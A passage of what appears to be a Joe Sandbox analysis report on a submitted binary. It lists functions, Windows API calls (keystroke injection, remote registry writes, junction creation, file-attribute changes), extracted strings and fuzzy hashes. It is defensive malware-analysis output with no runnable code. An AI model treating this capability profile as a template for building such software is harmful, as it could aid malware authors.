Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: d7a7415bc6e5c7aeb022fcfd0287242db0e3c3fcccd125220ed395f0dfb97162
Instruction ID: 06f07ecd1b359e1229a289a87ddba985c9fe955fec760251051cb7fa69e43e16
Opcode Fuzzy Hash: d7a7415bc6e5c7aeb022fcfd0287242db0e3c3fcccd125220ed395f0dfb97162
Instruction Fuzzy Hash: C2E0867694422857C720E6A89C05FEA77DDDBC97A1F0441B7FD0CD7244E9609D808690

Function 00638E9F Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00638EC1

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction ID: dab2210c02b900347f340c1907142145d290b195eff0998d02324f459cdcd37e
Opcode Fuzzy Hash: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction Fuzzy Hash: 7FE092B0104B045FD7398A24D800BE377E2EB05305F00081DF2AA83341EB6278458759

Function 005F525B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 005F5266

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: 62822d0f068788e3e5f00a05f2157b28e40a35cb7cc9eb996315ba97b07a2734
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 0DB0927A44020C77CE012A92FC02A593F19AB81764F408020FB0C18162A677A6649A89

Function 01188314 Relevance: 1.3, APIs: 1, Instructions: 21sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 01188329

Memory Dump Source

Source File: 00000001.00000002.1297556069.0000000001186000.00000040.00000020.00020000.00000000.sdmp, Offset: 01186000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1186000_h8izmpp1ZM.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
Instruction ID: 08735729e8a9c8850d0823bc42e31e9eb2cad0c07c6c0ea7dbe836ae3a2d2d7d
Opcode Fuzzy Hash: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
Instruction Fuzzy Hash: 87E0BF7498510DEFDB00EFA8D5496DD7BB4EF04301F1045A1FD05D7690DB309E548A62

Function 01188318 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 01188329

Memory Dump Source

Source File: 00000001.00000002.1297556069.0000000001186000.00000040.00000020.00020000.00000000.sdmp, Offset: 01186000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1186000_h8izmpp1ZM.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 0a812206bf174f40ae025ece6a810f24bcc246f94af1809aa7c705a692bc9412
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: 16E0E67498510DDFDB00EFB8D54969D7BB4EF04301F104161FD01D2280D7309D508A62

Non-executed Functions

Function 0065CABC Relevance: 75.9, APIs: 40, Strings: 3, Instructions: 632windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 005D2612: GetWindowLongW.USER32(?,000000EB), ref: 005D2623

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0065CB37
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0065CB95
GetWindowLongW.USER32(?,000000F0), ref: 0065CBD6
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0065CC00
SendMessageW.USER32 ref: 0065CC29
_wcsncpy.LIBCMT ref: 0065CC95
GetKeyState.USER32(00000011), ref: 0065CCB6
GetKeyState.USER32(00000009), ref: 0065CCC3
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0065CCD9
GetKeyState.USER32(00000010), ref: 0065CCE3
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0065CD0C
SendMessageW.USER32 ref: 0065CD33
SendMessageW.USER32(?,00001030,?,0065B348), ref: 0065CE37
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0065CE4D
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 0065CE60
SetCapture.USER32(?), ref: 0065CE69
ClientToScreen.USER32(?,?), ref: 0065CECE
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 0065CEDB
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0065CEF5
ReleaseCapture.USER32 ref: 0065CF00
GetCursorPos.USER32(?), ref: 0065CF3A
ScreenToClient.USER32(?,?), ref: 0065CF47
SendMessageW.USER32(?,00001012,00000000,?), ref: 0065CFA3
SendMessageW.USER32 ref: 0065CFD1
SendMessageW.USER32(?,00001111,00000000,?), ref: 0065D00E
SendMessageW.USER32 ref: 0065D03D
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0065D05E
SendMessageW.USER32(?,0000110B,00000009,?), ref: 0065D06D
GetCursorPos.USER32(?), ref: 0065D08D
ScreenToClient.USER32(?,?), ref: 0065D09A
GetParent.USER32(?), ref: 0065D0BA
SendMessageW.USER32(?,00001012,00000000,?), ref: 0065D123
SendMessageW.USER32 ref: 0065D154
ClientToScreen.USER32(?,?), ref: 0065D1B2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0065D1E2
SendMessageW.USER32(?,00001111,00000000,?), ref: 0065D20C
SendMessageW.USER32 ref: 0065D22F
ClientToScreen.USER32(?,?), ref: 0065D281
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0065D2B5

Part of subcall function 005D25DB: GetWindowLongW.USER32(?,000000EB), ref: 005D25EC

GetWindowLongW.USER32(?,000000F0), ref: 0065D351

Strings

F, xrefs: 0065D235
pbi, xrefs: 0065CEAF
@GUI_DRAGID, xrefs: 0065CE9C

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F$pbi
API String ID: 3977979337-906306101
Opcode ID: fb9f25a929b341b2b4e7d62f2f4bf38c509c9abc7a04ff397b372c18e349da80
Instruction ID: d9bf8ace2dac5679371adef3bdfd088786aa80cf3bc92fd7c42e6c83e0006a1f
Opcode Fuzzy Hash: fb9f25a929b341b2b4e7d62f2f4bf38c509c9abc7a04ff397b372c18e349da80
Instruction Fuzzy Hash: 6342AD74204341AFDB21CF28CC49AAABBE6FF49322F14051AF996873B0C731D949DB52

Function 005E6F9E Relevance: 55.8, APIs: 19, Strings: 10, Instructions: 5018COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 005E71C3
_memset.LIBCMT ref: 005E7539
_memmove.LIBCMT ref: 005E76AC

Strings

[:<:]], xrefs: 005E7479
\b(?<=\w), xrefs: 00623773
3c^, xrefs: 006223A0
P\h, xrefs: 00621AB8
Q\E, xrefs: 005E7FCB
]h, xrefs: 00621A22
_^, xrefs: 006223CB
DEFINE, xrefs: 00622103
[:>:]], xrefs: 005E7492
\b(?=\w), xrefs: 00623769

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _memmove$_memset
String ID: ]h$3c^$DEFINE$P\h$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)$_^
API String ID: 1357608183-1960083417
Opcode ID: 6cec9e9ab852060852185d89103defaa5bf2772a21685ea48e83cc8d73b21e58
Instruction ID: 9e07d0447e8598c3a980adae539a98dcd73b52591e2d3241475794ff95337be2
Opcode Fuzzy Hash: 6cec9e9ab852060852185d89103defaa5bf2772a21685ea48e83cc8d73b21e58
Instruction Fuzzy Hash: 8A93B571A0462ADBDB28CF58D8917EDB7B2FF48310F24856AD945AB380E7749E81CF40

Function 005D48D7 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?), ref: 005D48DF
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0060D665
IsIconic.USER32(?), ref: 0060D66E
ShowWindow.USER32(?,00000009), ref: 0060D67B
SetForegroundWindow.USER32(?), ref: 0060D685
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0060D69B
GetCurrentThreadId.KERNEL32 ref: 0060D6A2
GetWindowThreadProcessId.USER32(?,00000000), ref: 0060D6AE
AttachThreadInput.USER32(?,00000000,00000001), ref: 0060D6BF
AttachThreadInput.USER32(?,00000000,00000001), ref: 0060D6C7
AttachThreadInput.USER32(00000000,?,00000001), ref: 0060D6CF
SetForegroundWindow.USER32(?), ref: 0060D6D2
MapVirtualKeyW.USER32(00000012,00000000), ref: 0060D6E7
keybd_event.USER32(00000012,00000000), ref: 0060D6F2
MapVirtualKeyW.USER32(00000012,00000000), ref: 0060D6FC
keybd_event.USER32(00000012,00000000), ref: 0060D701
MapVirtualKeyW.USER32(00000012,00000000), ref: 0060D70A
keybd_event.USER32(00000012,00000000), ref: 0060D70F
MapVirtualKeyW.USER32(00000012,00000000), ref: 0060D719
keybd_event.USER32(00000012,00000000), ref: 0060D71E
SetForegroundWindow.USER32(?), ref: 0060D721
AttachThreadInput.USER32(?,?,00000000), ref: 0060D748

Strings

Shell_TrayWnd, xrefs: 0060D660

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 1f0c3ae5cc3418842c1d6ea00dcf258e9a3dca7dbcc5641db52b53fe1d41bd56
Instruction ID: 031afe60cd971676c7cd1997d13f812ee26466d11c5a9811a6279d3672123ad5
Opcode Fuzzy Hash: 1f0c3ae5cc3418842c1d6ea00dcf258e9a3dca7dbcc5641db52b53fe1d41bd56
Instruction Fuzzy Hash: 92319471A80318BBEB206FA19C49FBF7F6EEB44B51F104025FA04EB1D1D6B05D01ABA1

Function 0063C75C Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0063C78D
FindClose.KERNEL32(00000000), ref: 0063C7E1
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0063C806
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0063C81D
FileTimeToSystemTime.KERNEL32(?,?), ref: 0063C844
__swprintf.LIBCMT ref: 0063C890
__swprintf.LIBCMT ref: 0063C8D3

Part of subcall function 005D7DE1: _memmove.LIBCMT ref: 005D7E22

__swprintf.LIBCMT ref: 0063C927

Part of subcall function 005F3698: __woutput_l.LIBCMT ref: 005F36F1

__swprintf.LIBCMT ref: 0063C975

Part of subcall function 005F3698: __flsbuf.LIBCMT ref: 005F3713
Part of subcall function 005F3698: __flsbuf.LIBCMT ref: 005F372B

__swprintf.LIBCMT ref: 0063C9C4
__swprintf.LIBCMT ref: 0063CA13
__swprintf.LIBCMT ref: 0063CA62

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 0063C88A
%4d, xrefs: 0063C8CD
%02d, xrefs: 0063C91B, 0063C925, 0063C973, 0063C9C2, 0063CA11, 0063CA60

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: 8035b8420d566d20e504b40342a1d0e948b2f8192664b3406a3d9ed02fa61484
Instruction ID: baba0528b2ec2c267cac0f02afba3f5cf6d1f80106036245653b348f957fe7a6
Opcode Fuzzy Hash: 8035b8420d566d20e504b40342a1d0e948b2f8192664b3406a3d9ed02fa61484
Instruction Fuzzy Hash: A4A1FDB1408345ABD710EB98C889DAFBBEDFFD4704F40091BF595D6291EA34DA48CB62

Function 0063EF95 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,774C8FB0,?,00000000), ref: 0063EFB6
_wcscmp.LIBCMT ref: 0063EFCB
_wcscmp.LIBCMT ref: 0063EFE2
GetFileAttributesW.KERNEL32(?), ref: 0063EFF4
SetFileAttributesW.KERNEL32(?,?), ref: 0063F00E
FindNextFileW.KERNEL32(00000000,?), ref: 0063F026
FindClose.KERNEL32(00000000), ref: 0063F031
FindFirstFileW.KERNEL32(*.*,?), ref: 0063F04D
_wcscmp.LIBCMT ref: 0063F074
_wcscmp.LIBCMT ref: 0063F08B
SetCurrentDirectoryW.KERNEL32(?), ref: 0063F09D
SetCurrentDirectoryW.KERNEL32(00688920), ref: 0063F0BB
FindNextFileW.KERNEL32(00000000,00000010), ref: 0063F0C5
FindClose.KERNEL32(00000000), ref: 0063F0D2
FindClose.KERNEL32(00000000), ref: 0063F0E4

Strings

*.*, xrefs: 0063F048

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 466613591132da6ca39424c9994c3d8da23dfbfa72aa96ecdc717868f2151149
Instruction ID: 321b73f2b2052523f69cb720b9dd70c4325862b150a26f9d807aca551eb62710
Opcode Fuzzy Hash: 466613591132da6ca39424c9994c3d8da23dfbfa72aa96ecdc717868f2151149
Instruction Fuzzy Hash: BD31E7729002096ADF14EBB8DC58AEE77AE9F48361F100176F914D31A1DB74DE44CBA1

Function 005E66E1 Relevance: 27.1, Strings: 21, Instructions: 889COMMON

Download Yara Rule

Strings

UTF16), xrefs: 006210CF
LIMIT_RECURSION=, xrefs: 006211FC
pGg, xrefs: 005E6751
BSR_ANYCRLF), xrefs: 0062131E
CR), xrefs: 00621287
UTF), xrefs: 006210FA
CRLF), xrefs: 006212C1
BSR_UNICODE), xrefs: 00621338
LF), xrefs: 006212A4
f6dfewf6dfewf6dfewf6dfewf6dfewb6dfew86dfew66dfewc6dfew06dfew06dfew06dfew06dfew06dfew06dfew66dfew66dfew86dfew96dfew86dfew56dfew76df, xrefs: 00621349
NO_AUTO_POSSESS), xrefs: 0062112E
ANY), xrefs: 006212DE
0Eg, xrefs: 005E673D
0Dg, xrefs: 005E6733
3c^, xrefs: 005E68FF
ANYCRLF), xrefs: 006212FB
_^, xrefs: 00621465, 0062150C, 006215B4
LIMIT_MATCH=, xrefs: 00621170
0Fg, xrefs: 005E6747
NO_START_OPT), xrefs: 0062114F
UCP), xrefs: 0062110D

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID:
String ID: 0Dg$0Eg$0Fg$3c^$ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)$f6dfewf6dfewf6dfewf6dfewf6dfewb6dfew86dfew66dfewc6dfew06dfew06dfew06dfew06dfew06dfew06dfew66dfew66dfew86dfew96dfew86dfew56dfew76df$pGg$_^
API String ID: 0-3059013703
Opcode ID: 48d7e6cb4d78376a4087211f3a12c49759d20cbbccd322b198197f9d8c399edd
Instruction ID: e6f847ca8039ba4345ab65cdd9a1441e27a39591a53a812d25c0cef430231eda
Opcode Fuzzy Hash: 48d7e6cb4d78376a4087211f3a12c49759d20cbbccd322b198197f9d8c399edd
Instruction Fuzzy Hash: BF727071E04669DBDB18CF59D8407AEBBB6FF55350F14816AE849EB280DB309E81CF90

Function 00650857 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00650953
RegCreateKeyExW.ADVAPI32(?,?,00000000,0065F910,00000000,?,00000000,?,?), ref: 006509C1
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00650A09
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00650A92
RegCloseKey.ADVAPI32(?), ref: 00650DB2
RegCloseKey.ADVAPI32(00000000), ref: 00650DBF

Strings

REG_BINARY, xrefs: 00650D4D
REG_DWORD, xrefs: 00650C83
REG_QWORD, xrefs: 00650D00
REG_MULTI_SZ, xrefs: 00650B7A
REG_SZ, xrefs: 00650AD0
REG_EXPAND_SZ, xrefs: 00650A2F

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: e6d4e4ce669a87ceace2f90acd1924e13f35b03b6921e5cedc022457e9477585
Instruction ID: bbfa7c4a9891b23e6dcb975e1410e480637e77447dc1722f4ee87bced5e7ff79
Opcode Fuzzy Hash: e6d4e4ce669a87ceace2f90acd1924e13f35b03b6921e5cedc022457e9477585
Instruction Fuzzy Hash: D5027C756006029FDB14EF18C855E2ABBE6FF89714F04855EF9899B3A2DB30EC45CB81

Function 0063F0F2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,774C8FB0,?,00000000), ref: 0063F113
_wcscmp.LIBCMT ref: 0063F128
_wcscmp.LIBCMT ref: 0063F13F

Part of subcall function 00634385: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 006343A0

FindNextFileW.KERNEL32(00000000,?), ref: 0063F16E
FindClose.KERNEL32(00000000), ref: 0063F179
FindFirstFileW.KERNEL32(*.*,?), ref: 0063F195
_wcscmp.LIBCMT ref: 0063F1BC
_wcscmp.LIBCMT ref: 0063F1D3
SetCurrentDirectoryW.KERNEL32(?), ref: 0063F1E5
SetCurrentDirectoryW.KERNEL32(00688920), ref: 0063F203
FindNextFileW.KERNEL32(00000000,00000010), ref: 0063F20D
FindClose.KERNEL32(00000000), ref: 0063F21A
FindClose.KERNEL32(00000000), ref: 0063F22C

Strings

*.*, xrefs: 0063F190

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: aa64d1d119c5bd55ac59e75580128e4d81612ab2d15bbc452e4f0a4a9475a593
Instruction ID: 667049c1dd53685b6dbca590969a0583269d644b76f3a1ad81f70d43fbe82f12
Opcode Fuzzy Hash: aa64d1d119c5bd55ac59e75580128e4d81612ab2d15bbc452e4f0a4a9475a593
Instruction Fuzzy Hash: 6E31F57690021ABADF10EBA4EC59EEF77AE9F85320F100175E900E31A0DB71DF45CA94

Function 0063A1EF Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0063A20F
__swprintf.LIBCMT ref: 0063A231
CreateDirectoryW.KERNEL32(?,00000000), ref: 0063A26E
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 0063A293
_memset.LIBCMT ref: 0063A2B2
_wcsncpy.LIBCMT ref: 0063A2EE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 0063A323
CloseHandle.KERNEL32(00000000), ref: 0063A32E
RemoveDirectoryW.KERNEL32(?), ref: 0063A337
CloseHandle.KERNEL32(00000000), ref: 0063A341

Strings

\??\%s, xrefs: 0063A22B
:, xrefs: 0063A252
\, xrefs: 0063A247

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: e54aee7baf275ac5bd1c6202ebefc645e5e5e2006bc264af2c4bf8d9b106145a
Instruction ID: 556ecf40439a5af2ae377e3457a4e43071db74adcccc757bb8cc01e11c01760a
Opcode Fuzzy Hash: e54aee7baf275ac5bd1c6202ebefc645e5e5e2006bc264af2c4bf8d9b106145a
Instruction Fuzzy Hash: B331D4B150020AABDB20DFA0DC49FEB37BEEF89701F1041B6F608D6160EB7597448B65

Function 00627CAF Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00628202: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 0062821E
Part of subcall function 00628202: GetLastError.KERNEL32(?,00627CE2,?,?,?), ref: 00628228
Part of subcall function 00628202: GetProcessHeap.KERNEL32(00000008,?,?,00627CE2,?,?,?), ref: 00628237
Part of subcall function 00628202: HeapAlloc.KERNEL32(00000000,?,00627CE2,?,?,?), ref: 0062823E
Part of subcall function 00628202: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00628255

Part of subcall function 0062829F: GetProcessHeap.KERNEL32(00000008,00627CF8,00000000,00000000,?,00627CF8,?), ref: 006282AB
